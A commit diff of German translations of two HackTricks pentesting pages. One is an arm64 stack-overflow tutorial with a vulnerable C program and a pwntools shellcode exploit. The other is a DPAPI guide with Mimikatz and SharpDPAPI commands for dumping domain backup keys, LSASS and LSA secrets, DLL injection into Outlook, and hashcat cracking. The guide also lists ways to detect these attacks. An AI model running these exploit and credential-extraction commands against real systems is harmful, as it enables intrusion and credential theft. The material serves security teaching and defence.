Translated ['src/windows-hardening/windows-local-privilege-escalation/dp

This commit is contained in:
Translator 2025-09-05 19:01:21 +00:00
parent ffa4b38a95
commit 384c198d39
2 changed files with 106 additions and 91 deletions

View File

@ -2,14 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
Finden Sie eine Einführung in arm64 in:
Eine Einführung in arm64 finden Sie in:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
## Linux
### Code
```c
#include <stdio.h>
#include <unistd.h>
@ -28,15 +29,15 @@ Kompilieren ohne pie, canary und nx:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## Kein ASLR & Kein Canary - Stack Overflow
### Kein ASLR & kein canary - Stack Overflow
Um ASLR zu stoppen, führen Sie aus:
Um ASLR zu deaktivieren, führe aus:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Um die [**Offset des bof zu erhalten, überprüfen Sie diesen Link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Um den [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset) zu erhalten.
Exploits:
Exploit:
```python
from pwn import *
@ -67,8 +68,21 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
Die einzige "komplizierte" Sache, die hier zu finden wäre, wäre die Adresse im Stack, die aufgerufen werden soll. In meinem Fall habe ich den Exploit mit der Adresse generiert, die ich mit gdb gefunden habe, aber als ich ihn dann ausgenutzt habe, hat es nicht funktioniert (weil sich die Stack-Adresse ein wenig geändert hat).
Das Einzige, das hier "kompliziert" zu finden wäre, ist die Adresse im stack, die aufgerufen werden soll. In meinem Fall habe ich den Exploit mit der mittels gdb gefundenen Adresse erzeugt, aber beim Exploit funktionierte er nicht (weil sich die stack-Adresse etwas verändert hatte).
Ich habe die erzeugte **`core` Datei** (`gdb ./bog ./core`) geöffnet und die echte Adresse des Beginns des shellcode überprüft.
## macOS
> [!TIP]
> Es ist nicht möglich, NX unter macOS zu deaktivieren, da dieser Modus bei arm64 auf Hardwareebene implementiert ist, sodass er sich nicht deaktivieren lässt. Daher wird man keine Beispiele mit shellcode im stack unter macOS finden.
Siehe ein macOS ret2win-Beispiel in:
{{#ref}}
../ret2win/ret2win-arm64.md
{{#endref}}
Ich öffnete die generierte **`core`-Datei** (`gdb ./bog ./core`) und überprüfte die tatsächliche Adresse des Starts des Shellcodes.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# DPAPI - Extracting Passwords
# DPAPI - Passwörter extrahieren
{{#include ../../banners/hacktricks-training.md}}
@ -6,33 +6,33 @@
## Was ist DPAPI
Die Data Protection API (DPAPI) wird primär im Windows-Betriebssystem zur **symmetrischen Verschlüsselung asymmetrischer privater Schlüssel** verwendet und nutzt dabei entweder Benutzer- oder Systemgeheimnisse als bedeutende Entropiequelle. Dieser Ansatz vereinfacht die Verschlüsselung für Entwickler, indem er ihnen erlaubt, Daten mit einem Schlüssel zu verschlüsseln, der aus den Anmeldegeheimnissen des Benutzers oder — für Systemverschlüsselung — aus den Domain-Authentifizierungsgeheimnissen des Systems abgeleitet ist. Dadurch müssen Entwickler die Sicherung des Verschlüsselungsschlüssels nicht selbst verwalten.
Die Data Protection API (DPAPI) wird hauptsächlich im Windows-Betriebssystem für die **symmetrische Verschlüsselung asymmetrischer privater Schlüssel** verwendet und nutzt dabei entweder Benutzer- oder Systemgeheimnisse als wichtige Entropiequelle. Dieser Ansatz vereinfacht die Verschlüsselung für Entwickler, da sie Daten mit einem Schlüssel verschlüsseln können, der aus den Anmeldegeheimnissen des Benutzers oder bei Systemverschlüsselung aus den Domain-Authentifizierungsgeheimnissen des Systems abgeleitet wird, sodass Entwickler sich nicht selbst um den Schutz des Verschlüsselungsschlüssels kümmern müssen.
Die gebräuchlichste Art, DPAPI zu verwenden, ist über die **`CryptProtectData` und `CryptUnprotectData`**-Funktionen, die Anwendungen erlauben, Daten sicher mit der Session des aktuell angemeldeten Prozesses zu verschlüsseln und zu entschlüsseln. Das bedeutet, dass die verschlüsselten Daten nur vom selben Benutzer oder System entschlüsselt werden können, das sie verschlüsselt hat.
Die gebräuchlichste Nutzung von DPAPI erfolgt über die **`CryptProtectData` und `CryptUnprotectData`** Funktionen, die es Anwendungen ermöglichen, Daten sicher mit der Session des aktuell angemeldeten Prozesses zu verschlüsseln und zu entschlüsseln. Das bedeutet, dass die verschlüsselten Daten nur von demselben Benutzer oder System entschlüsselt werden können, das sie verschlüsselt hat.
Außerdem akzeptieren diese Funktionen auch einen **`entropy` parameter**, der bei der Verschlüsselung und Entschlüsselung verwendet wird. Um also etwas zu entschlüsseln, das mit diesem Parameter verschlüsselt wurde, muss derselbe Entropiewert angegeben werden, der bei der Verschlüsselung verwendet wurde.
Außerdem akzeptieren diese Funktionen auch einen **`entropy` parameter**, der ebenfalls bei der Verschlüsselung und Entschlüsselung verwendet wird; um also etwas zu entschlüsseln, das unter Verwendung dieses Parameters verschlüsselt wurde, muss derselbe Entropiewert bereitgestellt werden, der bei der Verschlüsselung verwendet wurde.
### Generierung des Benutzerschlüssels
### Erzeugung des Benutzer-Schlüssels
DPAPI erzeugt einen eindeutigen Schlüssel (genannt **`pre-key`**) für jeden Benutzer basierend auf dessen Anmeldedaten. Dieser Schlüssel wird aus dem Benutzerpasswort und anderen Faktoren abgeleitet; der Algorithmus hängt vom Benutzertyp ab, führt aber letztlich zu einem SHA1-Wert. Zum Beispiel hängt es bei Domain-Benutzern **vom NTLM hash des Benutzers** ab.
DPAPI erzeugt einen eindeutigen Schlüssel (genannt **`pre-key`**) für jeden Benutzer, basierend auf dessen Anmeldeinformationen. Dieser Schlüssel wird aus dem Passwort des Benutzers und weiteren Faktoren abgeleitet; der Algorithmus hängt vom Benutzertyp ab, führt aber letztlich zu einem SHA1-basierten Wert. Zum Beispiel hängt er für Domänenbenutzer **vom NTLM-Hash des Benutzers** ab.
Das ist besonders interessant, weil ein Angreifer, der den Passwort-Hash eines Benutzers erlangt, Folgendes tun kann:
Das ist besonders interessant, denn wenn ein Angreifer den Passwort-Hash des Benutzers erlangen kann, kann er:
- **Jegliche Daten entschlüsseln, die mit DPAPI** unter Verwendung dieses Benutzer-Schlüssels verschlüsselt wurden, ohne eine API aufrufen zu müssen
- Versuch, das Passwort offline zu **knacken**, indem er versucht, den gültigen DPAPI-Schlüssel zu generieren
- **Jede mit DPAPI verschlüsselte Daten** mit dem Schlüssel dieses Benutzers entschlüsseln, ohne eine API kontaktieren zu müssen
- Versuchen, das Passwort offline zu **cracken**, indem er versucht, den gültigen DPAPI-Schlüssel zu erzeugen
Zudem wird jedes Mal, wenn ein Benutzer Daten mit DPAPI verschlüsselt, ein neuer **Master-Key** erzeugt. Dieser Master-Key ist derjenige, der tatsächlich zur Verschlüsselung der Daten verwendet wird. Jeder Master-Key erhält eine **GUID** (Globally Unique Identifier), die ihn identifiziert.
Außerdem wird jedes Mal, wenn ein Benutzer Daten mit DPAPI verschlüsselt, ein neuer **Master-Schlüssel** erzeugt. Dieser Master-Schlüssel wird tatsächlich zur Verschlüsselung der Daten verwendet. Jeder Master-Schlüssel erhält eine **GUID** (Globally Unique Identifier), die ihn identifiziert.
Die Master-Keys werden im Verzeichnis **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** gespeichert, wobei `{SID}` der Security Identifier dieses Benutzers ist. Der Master-Key wird verschlüsselt durch den `pre-key` des Benutzers und zusätzlich durch einen **domain backup key** zur Wiederherstellung (d.h. derselbe Schlüssel wird auf zwei verschiedene Arten verschlüsselt und gespeichert).
Die Master-Schlüssel werden im Verzeichnis **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** gespeichert, wobei `{SID}` der Security Identifier dieses Benutzers ist. Der Master-Schlüssel wird verschlüsselt durch den **`pre-key`** des Benutzers gespeichert und außerdem zur Wiederherstellung durch einen **Domänen-Backup-Schlüssel** verschlüsselt (d.h. derselbe Schlüssel wird zwei Mal mit zwei unterschiedlichen Passwörtern verschlüsselt).
Beachte, dass der **Domain-Schlüssel, der zur Verschlüsselung des Master-Keys verwendet wird, auf den domain controllers liegt und sich niemals ändert**. Wenn ein Angreifer Zugriff auf den Domain-Controller hat, kann er den Domain-Backup-Key abrufen und die Master-Keys aller Benutzer in der Domain entschlüsseln.
Beachte, dass der **Domänen-Schlüssel, der zum Verschlüsseln des Master-Schlüssels verwendet wird, auf den Domain-Controllern liegt und sich nie ändert**. Wenn ein Angreifer also Zugriff auf den Domain-Controller hat, kann er den Domänen-Backup-Schlüssel abrufen und die Master-Schlüssel aller Benutzer in der Domäne entschlüsseln.
Die verschlüsselten Blobs enthalten die **GUID des Master-Keys**, der zur Verschlüsselung der darin enthaltenen Daten verwendet wurde, in ihren Headern.
Die verschlüsselten Blobs enthalten die **GUID des Master-Schlüssels**, der zum Verschlüsseln der Daten verwendet wurde, in ihren Headern.
> [!TIP]
> DPAPI encrypted blobs starts with **`01 00 00 00`**
> DPAPI-verschlüsselte Blobs beginnen mit **`01 00 00 00`**
Master-Keys finden:
Master-Schlüssel finden:
```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
@ -45,37 +45,37 @@ This is what a bunch of Master Keys of a user will looks like:
![](<../../images/image (1121).png>)
### Machine/System key generation
### Erzeugung des Machine-/Systemschlüssels
This is key used for the machine to encrypt data. It's based on the **DPAPI_SYSTEM LSA secret**, which is a special key that only the SYSTEM user can access. This key is used to encrypt data that needs to be accessible by the system itself, such as machine-level credentials or system-wide secrets.
Dies ist der Schlüssel, den die Maschine verwendet, um Daten zu verschlüsseln. Er basiert auf dem **DPAPI_SYSTEM LSA secret**, einem speziellen Schlüssel, auf den nur der SYSTEM-Benutzer zugreifen kann. Dieser Schlüssel wird verwendet, um Daten zu verschlüsseln, die vom System selbst zugänglich sein müssen, wie z. B. maschinenweite Anmeldeinformationen oder systemweite Secrets.
Note that these keys **don't have a domain backup** so they are only accesisble locally:
Beachte, dass diese Schlüssel **kein Domain-Backup** haben, daher sind sie nur lokal zugänglich:
- **Mimikatz** can access it dumping LSA secrets using the command: `mimikatz lsadump::secrets`
- The secret is stored inside the registry, so an administrator could **modify the DACL permissions to access it**. The registry path is: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
- **Mimikatz** kann darauf zugreifen, indem es die LSA-Secrets mit dem Befehl `mimikatz lsadump::secrets` ausliest
- Das Secret wird in der Registry gespeichert, daher könnte ein Administrator die **DACL-Berechtigungen ändern, um darauf zuzugreifen**. Der Registry-Pfad ist: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
### Protected Data by DPAPI
### Durch DPAPI geschützte Daten
Among the personal data protected by DPAPI are:
Zu den persönlichen Daten, die durch DPAPI geschützt werden, gehören:
- Windows creds
- Internet Explorer and Google Chrome's passwords and auto-completion data
- E-mail and internal FTP account passwords for applications like Outlook and Windows Mail
- Passwords for shared folders, resources, wireless networks, and Windows Vault, including encryption keys
- Passwords for remote desktop connections, .NET Passport, and private keys for various encryption and authentication purposes
- Network passwords managed by Credential Manager and personal data in applications using CryptProtectData, such as Skype, MSN messenger, and more
- Encrypted blobs inside the register
- Windows-Anmeldedaten
- Passwörter und Autovervollständigungsdaten von Internet Explorer und Google Chrome
- E-Mail- und interne FTP-Konto-Passwörter für Anwendungen wie Outlook und Windows Mail
- Passwörter für gemeinsame Ordner, Ressourcen, drahtlose Netzwerke und Windows Vault, inklusive Verschlüsselungsschlüsseln
- Passwörter für Remote-Desktop-Verbindungen, .NET Passport und private Schlüssel für verschiedene Verschlüsselungs- und Authentifizierungszwecke
- Netzwerkpasswörter, die vom Credential Manager verwaltet werden, und persönliche Daten in Anwendungen, die CryptProtectData verwenden, wie Skype, MSN Messenger und weitere
- Verschlüsselte Blobs in der Registry
- ...
System protected data includes:
- Wifi passwords
- Scheduled task passwords
Systemgeschützte Daten umfassen:
- WLAN-Passwörter
- Passwörter für geplante Tasks
- ...
### Master key extraction options
### Optionen zum Extrahieren von Master Keys
- If the user has domain admin privileges, they can access the **domain backup key** to decrypt all user master keys in the domain:
- Wenn der Benutzer Domain-Admin-Rechte hat, kann er auf den **domain backup key** zugreifen, um alle Master Keys der Benutzer in der Domäne zu entschlüsseln:
```bash
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
@ -83,17 +83,17 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
```
- Mit lokalen Admin-Rechten ist es möglich, **auf den LSASS memory zuzugreifen**, um die DPAPI master keys aller angemeldeten Benutzer und den SYSTEM key zu extrahieren.
- Mit lokalen Administratorrechten ist es möglich, **auf den LSASS-Speicher zuzugreifen**, um die DPAPI-Master-Schlüssel aller angemeldeten Benutzer und den SYSTEM key zu extrahieren.
```bash
# Mimikatz
mimikatz sekurlsa::dpapi
```
- Wenn der Benutzer local admin privileges hat, kann er auf das **DPAPI_SYSTEM LSA secret** zugreifen, um die machine master keys zu entschlüsseln:
- Wenn ein Benutzer lokale Administratorrechte hat, kann er auf das **DPAPI_SYSTEM LSA secret** zugreifen, um die machine master keys zu entschlüsseln:
```bash
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
```
- Wenn das Passwort oder der NTLM-Hash des Benutzers bekannt ist, können Sie **die master keys des Benutzers direkt entschlüsseln**:
- Wenn das Passwort oder der NTLM-Hash des Benutzers bekannt ist, können Sie **die Master Keys des Benutzers direkt entschlüsseln**:
```bash
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
@ -101,7 +101,7 @@ dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER
# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
```
- Wenn du dich in einer Sitzung als Benutzer befindest, kannst du den DC per RPC nach dem **Backup-Key zum Entschlüsseln der Master-Keys** fragen. Wenn du local admin bist und der Benutzer eingeloggt ist, könntest du dafür seinen **session token** stehlen:
- Wenn du in einer Sitzung als der Benutzer bist, ist es möglich, den DC nach dem **backup key to decrypt the master keys using RPC** zu fragen. Wenn du lokaler Administrator bist und der Benutzer eingeloggt ist, könntest du dafür **steal his session token**:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -121,12 +121,12 @@ mimikatz vault::list
### DPAPI-verschlüsselte Daten finden
Häufig geschützte Dateien von Benutzern befinden sich in:
Typische vom Benutzer **geschützte Dateien** befinden sich in:
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
- Prüfe auch, ob in den obigen Pfaden `\Roaming\` durch `\Local\` ersetzt wurde.
- Prüfe auch, ob `\Roaming\` in den obigen Pfaden durch `\Local\` ersetzt werden kann.
Enumeration examples:
```bash
@ -135,7 +135,7 @@ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) kann DPAPI-verschlüsselte Blobs im Dateisystem, in der Registry und in B64 blobs finden:
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) kann DPAPI-verschlüsselte Blobs im Dateisystem, in der Registry und in B64-Blobs finden:
```bash
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
@ -150,11 +150,11 @@ search /type:file /path:C:\path\to\file
# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]
```
Beachte, dass [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (aus demselben Repo) verwendet werden kann, um mit DPAPI verschlüsselte sensible Daten wie Cookies zu entschlüsseln.
Beachte, dass [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (aus demselben Repo) verwendet werden kann, um mit DPAPI verschlüsselte sensible Daten wie cookies zu entschlüsseln.
### Zugriffsschlüssel und Daten
- **Verwende SharpDPAPI**, um Anmeldeinformationen aus mit DPAPI verschlüsselten Dateien der aktuellen Sitzung zu erhalten:
- **Use SharpDPAPI** um credentials aus DPAPI-verschlüsselten Dateien der aktuellen Sitzung zu extrahieren:
```bash
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
@ -163,7 +163,7 @@ SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data
SharpDPAPI.exe machinetriage
```
- **Anmeldeinformationen abrufen** wie die verschlüsselten Daten und den guidMasterKey.
- **Credentials-Informationen beschaffen** wie die encrypted data und den guidMasterKey.
```bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
@ -173,9 +173,9 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
pbData : b8f619[...snip...]b493fe
[..]
```
- **Access masterkeys**:
- **Zugriff auf masterkeys**:
Entschlüssle einen masterkey eines Benutzers, der den **domain backup key** anfordert, mittels RPC:
Entschlüssle einen masterkey eines Benutzers, der den **domain backup key** über RPC anfordert:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -183,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
Das Tool **SharpDPAPI** unterstützt außerdem diese Argumente zur Entschlüsselung von Masterkeys (beachte, dass es möglich ist, `/rpc` zu verwenden, um den Domain-Backup-Schlüssel zu erhalten, `/password`, um ein Klartext-Passwort zu verwenden, oder `/pvk`, um eine DPAPI-Domain-Private-Key-Datei anzugeben...):
Das Tool **SharpDPAPI** unterstützt außerdem diese Argumente zur Masterkey-Entschlüsselung (beachte, dass es möglich ist, `/rpc` zu verwenden, um den Domain-Backup-Schlüssel zu erhalten, `/password`, um ein Klartextpasswort zu verwenden, oder `/pvk`, um eine DPAPI-Domain-Private-Key-Datei anzugeben...):
```
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
@ -195,7 +195,7 @@ Das Tool **SharpDPAPI** unterstützt außerdem diese Argumente zur Entschlüssel
/server:SERVER - triage a remote server, assuming admin access
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
```
- **Daten mit einem Masterkey entschlüsseln**:
- **Daten mit einem masterkey entschlüsseln**:
```bash
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
@ -203,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
```
Das Tool **SharpDPAPI** unterstützt außerdem diese Argumente für die Entschlüsselung von `credentials|vaults|rdg|keepass|triage|blob|ps` (beachte, dass es möglich ist, `/rpc` zu verwenden, um den Domain-Backup-Schlüssel zu erhalten, `/password`, um ein Klartextpasswort zu verwenden, `/pvk`, um eine DPAPI domain private key file anzugeben, `/unprotect`, um die aktuelle Benutzersitzung zu verwenden...):
Das **SharpDPAPI**-Tool unterstützt außerdem diese Argumente für die Entschlüsselung von `credentials|vaults|rdg|keepass|triage|blob|ps` (beachte, dass es möglich ist, `/rpc` zu verwenden, um den Domänen-Backup-Schlüssel zu erhalten, `/password`, um ein Klartext-Passwort zu verwenden, `/pvk`, um eine private Schlüsseldatei der DPAPI-Domäne anzugeben, `/unprotect`, um die Sitzung des aktuellen Benutzers zu verwenden...):
```
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
@ -222,7 +222,7 @@ Targeting:
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
```
- Daten mit der **aktuellen Benutzersitzung** entschlüsseln:
- Entschlüssele einige Daten unter Verwendung der **aktuellen Benutzersitzung**:
```bash
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect
@ -231,11 +231,11 @@ dpapi::blob /in:C:\path\to\encrypted\file /unprotect
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
```
---
### Umgang mit optionaler Entropie ("Third-party entropy")
### Umgang mit optionaler Entropie ("Drittanbieter-Entropie")
Einige Anwendungen übergeben einen zusätzlichen **Entropie**-Wert an `CryptProtectData`. Ohne diesen Wert kann der Blob nicht entschlüsselt werden, selbst wenn der richtige masterkey bekannt ist. Das Beschaffen der Entropie ist daher essenziell, wenn man auf auf diese Weise geschützte Zugangsdaten abzielt (z. B. Microsoft Outlook, einige VPN-Clients).
Einige Anwendungen übergeben einen zusätzlichen **Entropie**-Wert an `CryptProtectData`. Ohne diesen Wert kann der Blob nicht entschlüsselt werden, selbst wenn der korrekte Masterkey bekannt ist. Das Beschaffen der Entropie ist daher unerlässlich, wenn Anmeldeinformationen angegriffen werden sollen, die auf diese Weise geschützt sind (z. B. Microsoft Outlook, einige VPN-Clients).
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) ist eine user-mode DLL, die die DPAPI-Funktionen im Zielprozess hookt und dabei transparent jegliche optionale Entropie aufzeichnet, die übergeben wird. Das Ausführen von EntropyCapture im **DLL-injection**-Modus gegen Prozesse wie `outlook.exe` oder `vpnclient.exe` erzeugt eine Datei, die jeden Entropie-Puffer dem aufrufenden Prozess und dem Blob zuordnet. Die erfasste Entropie kann später an **SharpDPAPI** (`/entropy:`) oder **Mimikatz** (`/entropy:<file>`) übergeben werden, um die Daten zu entschlüsseln.
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) ist eine Benutzermodus-DLL, die die DPAPI-Funktionen innerhalb des Zielprozesses hookt und transparent jede übergebene optionale Entropie aufzeichnet. Das Ausführen von EntropyCapture im **DLL-injection**-Modus gegen Prozesse wie `outlook.exe` oder `vpnclient.exe` erzeugt eine Datei, die jeden Entropie-Puffer dem aufrufenden Prozess und dem Blob zuordnet. Die erfasste Entropie kann später an **SharpDPAPI** (`/entropy:`) oder **Mimikatz** (`/entropy:<file>`) übergeben werden, um die Daten zu entschlüsseln.
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -243,9 +243,9 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Masterkeys offline knacken (Hashcat & DPAPISnoop)
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
Microsoft führte ab Windows 10 v1607 (2016) ein **context 3** Masterkey-Format ein. `hashcat` v6.2.6 (Dezember 2023) ergänzte die hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) und **22102** (context 3), die GPU-beschleunigtes Knacken von Benutzerpasswörtern direkt aus der Masterkey-Datei ermöglichen. Angreifer können dadurch Wörterbuch- oder Brute-Force-Angriffe durchführen, ohne mit dem Zielsystem zu interagieren.
Microsoft führte ein **context 3** masterkey-Format ab Windows 10 v1607 (2016) ein. `hashcat` v6.2.6 (Dezember 2023) fügte die Hash-Modi **22100** (DPAPI masterkey v1 context), **22101** (context 1) und **22102** (context 3) hinzu, die GPU-beschleunigtes cracking von Benutzerpasswörtern direkt aus der masterkey-Datei ermöglichen. Angreifer können daher word-list- oder brute-force-Angriffe durchführen, ohne mit dem Zielsystem zu interagieren.
`DPAPISnoop` (2024) automatisiert den Prozess:
```bash
@ -253,64 +253,65 @@ Microsoft führte ab Windows 10 v1607 (2016) ein **context 3** Masterkey-Format
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
```
Das Tool kann außerdem Credential and Vault blobs parsen, sie mit cracked keys entschlüsseln und cleartext passwords exportieren.
Das Tool kann außerdem Credential- und Vault-Blobs parsen, diese mit geknackten Schlüsseln entschlüsseln und Passwörter im Klartext exportieren.
### Zugriff auf Daten anderer Maschinen
In **SharpDPAPI and SharpChrome** können Sie die Option **`/server:HOST`** angeben, um auf die Daten einer entfernten Maschine zuzugreifen. Natürlich müssen Sie Zugriff auf diese Maschine haben, und im folgenden Beispiel wird angenommen, dass der **Domain-Backup-Verschlüsselungsschlüssel bekannt ist**:
### Auf Daten anderer Maschinen zugreifen
In **SharpDPAPI and SharpChrome** können Sie die **`/server:HOST`**-Option angeben, um auf die Daten einer entfernten Maschine zuzugreifen. Natürlich müssen Sie auf diese Maschine zugreifen können, und im folgenden Beispiel wird vorausgesetzt, dass der **domain backup encryption key** bekannt ist:
```bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
```
## Weitere Tools
## Other tools
### HEKATOMB
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) ist ein Tool, das die Extraktion aller Benutzer und Computer aus dem LDAP-Verzeichnis sowie die Extraktion des Domain-Controller-Backup-Schlüssels über RPC automatisiert. Das Skript löst dann die IP-Adressen aller Computer auf und führt einen smbclient auf allen Computern aus, um alle DPAPI-Blobs aller Benutzer abzurufen und alles mit dem Domain-Backup-Schlüssel zu entschlüsseln.
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) ist ein Tool, das die Extraktion aller Benutzer und Computer aus dem LDAP-Verzeichnis sowie die Extraktion des domain controller backup key über RPC automatisiert. Das Script löst anschließend die IP-Adressen aller Computer auf und führt einen smbclient auf allen Computern aus, um alle DPAPI-Blobs aller Benutzer abzuholen und alles mit dem domain backup key zu entschlüsseln.
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
Mit der aus LDAP extrahierten Computerliste kannst du jedes Subnetz finden, auch wenn du davon nichts wusstest!
Mit der aus LDAP extrahierten Computerliste kann man jedes Subnetz finden, selbst wenn man es zuvor nicht kannte!
### DonPAPI 2.x (2024-05)
[**DonPAPI**](https://github.com/login-securite/DonPAPI) kann automatisch durch DPAPI geschützte Geheimnisse extrahieren. Das 2.x-Release führte ein:
[**DonPAPI**](https://github.com/login-securite/DonPAPI) kann automatisch Secrets dumpen, die durch DPAPI geschützt sind. Die 2.x-Version brachte folgende Neuerungen:
* Parallele Sammlung von Blobs von Hunderten Hosts
* Parsen von **context 3** masterkeys und automatische Hashcat-Cracking-Integration
* Parallele Sammlung von Blobs von hunderten Hosts
* Parsing von **context 3** masterkeys und automatische Hashcat-Cracking-Integration
* Unterstützung für Chrome "App-Bound" verschlüsselte Cookies (siehe nächsten Abschnitt)
* Einen neuen **`--snapshot`**-Modus, um Endpunkte wiederholt zu pollen und neu erstellte Blobs zu diffen
* Ein neuer **`--snapshot`**-Modus, um Endpunkte wiederholt abzufragen und neu erstellte Blobs zu diffen
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) ist ein C#-Parser für masterkey/credential/vault-Dateien, der Hashcat-/JtR-Formate ausgeben und optional Cracking automatisch starten kann. Es unterstützt vollständig Machine- und User-Masterkey-Formate bis Windows 11 24H1.
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) ist ein C#-Parser für masterkey/credential/vault-Dateien, der Hashcat/JtR-Formate ausgeben und optional Cracken automatisch starten kann. Es unterstützt vollständig Machine- und User-masterkey-Formate bis Windows 11 24H1.
## Häufige Erkennungen
## Common detections
- Zugriff auf Dateien in `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` und anderen DPAPI-bezogenen Verzeichnissen.
- Besonders von einem Netzwerkshare wie **C$** oder **ADMIN$**.
- Einsatz von **Mimikatz**, **SharpDPAPI** oder ähnlichen Tools, um auf den LSASS-Speicher zuzugreifen oder Masterkeys zu dumpen.
- Ereignis **4662**: *An operation was performed on an object* kann mit dem Zugriff auf das **`BCKUPKEY`**-Objekt korreliert werden.
- Ereignis **4673/4674**, wenn ein Prozess *SeTrustedCredManAccessPrivilege* anfordert (Credential Manager)
- Besonders über ein Netzwerk-Share wie **C$** oder **ADMIN$**.
- Einsatz von **Mimikatz**, **SharpDPAPI** oder ähnlichen Tools, um auf LSASS-Speicher zuzugreifen oder masterkeys zu dumpen.
- Event **4662**: *An operation was performed on an object* kann mit dem Zugriff auf das **`BCKUPKEY`**-Objekt korreliert werden.
- Event **4673/4674**, wenn ein Prozess *SeTrustedCredManAccessPrivilege* (Credential Manager) anfordert.
---
### 20232025 Schwachstellen & Änderungen im Ökosystem
### 2023-2025 vulnerabilities & ecosystem changes
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (November 2023). Ein Angreifer mit Netzwerkzugang konnte ein Domänenmitglied dazu bringen, einen bösartigen DPAPI-Backup-Schlüssel abzurufen, was die Entschlüsselung von Benutzer-Masterkeys erlaubte. Im kumulativen Update vom November 2023 gepatcht Administratoren sollten sicherstellen, dass DCs und Workstations vollständig gepatcht sind.
